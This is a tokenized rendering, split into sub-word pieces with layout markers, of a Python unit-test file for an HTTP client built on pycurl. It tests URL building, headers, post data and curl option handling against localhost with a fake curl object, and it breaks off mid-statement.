"Test", "Client", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Plai", "n", "Address", "IP", "v6_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cr_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "200", "1", ":", "db", "8", "::", "caf", "e", "\"_", ",_", "151", "10_", ",_", "\"", "GET", "\"_", ",_", "\"/", "info", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cr_", "._", "url_", ",_", "\"", "https", "://", "[", "200", "1", ":", "db", "8", "::", "caf", "e", "]:", "151", "10", "/", "info", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Old", "Style", "Headers_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Conten", "t", "-", "type", "\"_", ":_", "\"", "text", "/", "plain", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Accept", "\"_", ":_", "\"", "text", "/", "html", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cr_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "local", "host", "\"_", ",_", "164", "81_", ",_", "\"", "GET", "\"_", ",_", "\"/", "vg", "\\u", "list", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "isinstance_", "(_", "cr_", "._", "headers_", ",_", "list_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "sorted_", "(_", "cr_", "._", "headers_", ")_", ",_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Accept", ":", " ", "text", "/", "html", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Conten", "t", "-", "type", ":", " ", "text", "/", "plain", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cr_", "._", "url_", ",_", "\"", "https", "://", "local", "host", ":", "164", "8", "1", "/", "vg", "\\u", "list", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "New", "Style", "Headers_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Accept", ":", " ", "text", "/", "html", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Conten", "t", "-", "type", ":", " ", "text", "/", "plain", ";", " ", "charset", "=", "ascii", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Server", ":", " ", "http", "d", " ", "1.0", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cr_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "local", "host", "\"_", ",_", "1234_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert\\u_", "(_", "isinstance_", "(_", "cr_", "._", "headers_", ",_", "list_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "sorted_", "(_", "cr_", "._", "headers_", ")_", ",_", "sorted_", "(_", "headers_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cr_", "._", "url_", ",_", "\"", "https", "://", "local", "host", ":", "1234", "/", "version", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Post", "Data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cr_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "local", "host", "\"_", ",_", "1234_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "post", "\\u", "data_", "=_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cr_", "._", "post", "\\u", "data_", ",_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "No", "Post", "Data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cr_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "local", "host", "\"_", ",_", "1234_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "cr_", "._", "post", "\\u", "data_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Completi", "on", "Callback_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "argname", "_", "in_", "[_", "\"", "completion", "\\u", "cb", "\"_", ",_", "\"", "curl", "\\u", "config", "\\u", "fn", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "argname", "_", ":_", "Not", "Impl", "ement", "ed", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cr_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "local", "host", "\"_", ",_", "1403", "8_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "getattr_", "(_", "cr_", ",_", "argname", "_", ")_", ",_", "Not", "Impl", "ement", "ed", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "fn_", "in_", "[_", "Not", "Implemented_", ",_", "{_", "}_", ",_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "argname", "_", ":_", "fn_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Assert", "ion", "Error_", ",_", "http_", "._", "client_", "._", "Http", "Client", "Request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "local", "host", "\"_", ",_", "231", "50_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "\\u", "Fake", "Curl", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Fake", "Curl", "_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "opts_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "info_", "=_", "Not", "Implemented_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Fake", "Curl", "_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "setopt_", "(_", "self_", ",_", "opt_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "opt_", "not_", "in_", "self_", "._", "opts_", ",_", "\"", "Optio", "n", " ", "set", " ", "more", " ", "than", " ", "onc", "e", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "opts_", "[_", "opt_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Fake", "Curl", "_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "getin", "fo_", "(_", "self_", ",_", "info_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "info_", "._", "pop_", "(_", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Client", "Start", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Start", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Test", "Curl", "Config_", "(_", "curl_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curl_", "._", "setopt_", "(_", "pycurl_", "._", "SS", "LK", "EY", "TYPE_", ",_", "\"", "PEM", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Start", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "method_", "in_", "[_", "http_", "._", "HTTP", "\\u", "GET_", ",_", "http_", "._", "HTTP", "\\u", "PUT_", ",_", "\"", "CUSTOM", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "port_", "in_", "[_", "876", "1_", ",_", "297", "96_", ",_", "195", "28_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "curl", "\\u", "config", "\\u", "fn_", "in_", "[_", "None_", ",_", "self_", "._", "\\u", "Test", "Curl", "Config_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "read", "\\u", "timeout_", "in_", "[_", "None_", ",_", "0_", ",_", "1_", ",_", "123_", ",_", "3600", "0_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Test", "In", "ner_", "(_", "method_", ",_", "port_", ",_", "curl", "\\u", "config", "\\u", "fn_", ",_", "read", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Start", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Test", "In", "ner_", "(_", "self_", ",_", "method_", ",_", "port_", ",_", "curl", "\\u", "config", "\\u", "fn_", ",_", "read", "\\u", "timeout_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "response", "\\u", "code_", "in_", "[_", "http_", "._", "HTTP", "\\u", "OK_", ",_", "http_", "._", "Http", "Not", "Found_", "._", "code_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "http_", "._", "HTTP", "\\u", "NOT", "\\u", "MODIFIE", "D_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "response", "\\u", "body_", "in_", "[_", "None_", ",_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ver", "y", " ", "Long", "\\\\", "t", "Conten", "t", " ", "here", "\\\\", "n", "\"_", "*_", "171_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "errmsg_", "in_", "[_", "None_", ",_", "\"", "error", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "local", "host", "\"_", ",_", "port_", ",_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"/", "version", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "curl", "\\u", "config", "\\u", "fn_", "=_", "curl", "\\u", "config", "\\u", "fn_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "read", "\\u", "timeout_", "=_", "read", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curl_", "=_", "\\u", "Fake", "Curl", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pending_", "=_", "http_", "._", "client_", "._", "\\u", "Start", "Request_", "(_", "curl_", ",_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "pending_", "._", "Get", "Curl", "Handle_", "(_", ")_", ",_", "curl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "pending_", "._", "Get", "Curr", "ent", "Request_", "(_", ")_", ",_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "options_", "\\u\\u\\uNL\\u\\u\\u_", "opts_", "=_", "curl_", "._", "opts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "CUSTOM", "REQUEST_", ")_", ",_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "URL_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "https", "://", "local", "host", ":", "%", "s", "/", "version", "\"_", "%_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "read", "\\u", "timeout_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "TIMEOUT_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "TIMEOUT_", ")_", ",_", "read", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "VERBOSE_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "NOS", "IGN", "AL_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "USER", "AGENT_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "http_", "._", "HTTP", "\\u", "GAN", "ETI", "\\u", "VERSION_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "PROX", "Y_", ")_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "POST", "FIELDS_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "HTTP", "HEADER_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "fn_", "=_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "WRITE", "FUNCTION_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "callable_", "(_", "write", "\\u", "fn_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "pycurl_", ",_", "\"", "SS", "L", "\\u", "SES", "SION", "ID", "\\u", "CACHE", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "False_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "SS", "L", "\\u", "SES", "SION", "ID", "\\u", "CACHE_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "curl", "\\u", "config", "\\u", "fn_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "SS", "LK", "EY", "TYPE_", ")_", ",_", "\"", "PEM", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "False_", "(_", "pycurl_", "._", "SS", "LK", "EY", "TYPE_", "in_", "opts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "opts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "response", "\\u", "body_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "offset_", "<_", "len_", "(_", "response", "\\u", "body_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "piece_", "=_", "response", "\\u", "body_", "[_", "offset_", ":_", "offset_", "+_", "10_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "fn_", "(_", "piece_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", "+=_", "len_", "(_", "piece_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "curl_", "._", "info_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "pycurl_", "._", "RESPONSE", "\\u", "CODE_", ":_", "response", "\\u", "code_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "pycurl_", ",_", "'", "LOCAL", "\\u", "IP", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curl_", "._", "info_", "[_", "pycurl_", "._", "LOCAL", "\\u", "IP_", "]_", "=_", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "pycurl_", ",_", "'", "LOCAL", "\\u", "PORT", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curl_", "._", "info_", "[_", "pycurl_", "._", "LOCAL", "\\u", "PORT_", "]_", "=_", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Finali", "ze", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pending_", "._", "Done_", "(_", "errmsg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "curl_", "._", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Can", " ", "only", " ", "finalize", " ", "once_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Assert", "ion", "Error_", ",_", "pending_", "._", "Done_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "errmsg_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "False_", "(_", "req_", "._", "success_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "req_", "._", "success_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "req_", "._", "error_", ",_", "errmsg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "req_", "._", "resp", "\\u", "status", "\\u", "code_", ",_", "response", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response", "\\u", "body_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "req_", "._", "resp", "\\u", "body_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "req_", "._", "resp", "\\u", "body_", ",_", "response", "\\u", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "if", " ", "reset", "ting", " ", "worked", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "not_", "hasattr_", "(_", "curl_", ",_", "\"", "reset", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", "=_", "curl_", "._", "opts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "POST", "FIELDS_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "callable_", "(_", "opts_", "._", "pop_", "(_", "pycurl_", "._", "WRITE", "FUNCTION_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "opts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "curl_", "._", "opts_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Prev", "ious", " ", "checks", " ", "did", " ", "not", " ", "consume", " ", "all", " ", "options", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "id_", "(_", "opts_", ")_", "==_", "id_", "(_", "curl_", "._", "opts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Start", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Test", "Wro", "ng", "Types_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "http_", "._", "client_", "._", "Http", "Client", 